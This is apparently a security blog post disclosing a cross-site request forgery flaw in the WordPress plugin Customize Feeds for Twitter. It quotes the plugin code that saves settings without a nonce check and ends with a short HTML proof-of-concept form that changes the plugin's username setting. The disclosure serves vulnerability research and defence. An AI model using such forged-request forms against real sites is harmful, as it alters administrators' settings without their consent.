Cross-Site Request Forgery (CSRF)/Settings Change Vulnerability in Customize Feeds for Twitter
One of the changelog entries for the latest version of Customize Feeds for Twitter is “Some security issue fixed”. In looking at the changes made in that version to see if there was a vulnerability being fixed that we should adding to the data set our service, it looked like the code being changed might still be vulnerable and a quick check of things confirmed that. The plugin has been closed on the Plugin Directory since August 8, so it is possible that that the security change was made in response to team behind that, but they missed the vulnerability here.
The plugin’s admin page is registered to be accessible those logged in as Administrators:
36 | $AdminMenu = add_menu_page( esc_html__('Customize Feeds for Twitter', 'twitter-tweets'), esc_html__('Customize Feeds for Twitter', 'twitter-tweets'), 'administrator', 'Twitter', 'Twitter_by_weblizar_page_function', "dashicons-wordpress-alt"); |
Accessing that page calls the function Twitter_by_weblizar_page_function(), which causes the file twiiter_help_body.php to be loaded:
39 | function Twitter_by_weblizar_page_function() { |
52 | require_once("twiiter_help_body.php"); |
In that file will cause the file twiiter_help.php to be loaded:
46 | <?php require_once('twiiter_help.php'); ?> |
In that file the plugin’s settings are updated with this code:
80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 | if(isset($_REQUEST['twitter-page-user_name'])) { $TwitterUserName = sanitize_text_field( $_REQUEST['twitter-page-user_name'] ); $Theme = sanitize_text_field( $_REQUEST['show-theme-background'] ); $Height = sanitize_text_field( $_REQUEST['twitter-page-url-Height'] ); $TwitterWidgetId = sanitize_text_field( $_REQUEST['twitter-page-id-fetch'] ); $LinkColor = sanitize_text_field( $_REQUEST['twitter-page-lnk-Color'] ); $ExcludeReplies = sanitize_text_field ( $_REQUEST['exclude_replies_23'] ); $AutoExpandPhotos = sanitize_text_field ( $_REQUEST['photo_1234'] ); $tw_language = sanitize_text_field ( $_REQUEST['tw_language'] ); $TwitterSettingsArray = serialize( array( 'TwitterUserName' => $TwitterUserName, 'Theme' => $Theme, 'Height' => $Height, 'TwitterWidgetId' => $TwitterWidgetId, 'LinkColor' => $LinkColor, 'ExcludeReplies' => $ExcludeReplies, 'AutoExpandPhotos' => $AutoExpandPhotos, 'tw_language' => $tw_language, )); update_option("ali_twitter_shortcode", $TwitterSettingsArray); |
There is not a check for a valid nonce before the settings are saved, so there is a cross-site request forgery (CSRF) vulnerability there. In our quick check it looks like the combination of sanitization and escaping done by that limits changing the settings to cause cross-site scripting (XSS).
Full Disclosure
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof concept with change the Twitter Account Username setting to be changed to “Proof of Concept”, when logged in as Administrator.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin.php?page=Twitter" method="POST"> <input type="hidden" name="twitter-page-user_name" value="Proof of Concept" /> <input type="submit" value="Submit request" /> </form> </body> </html>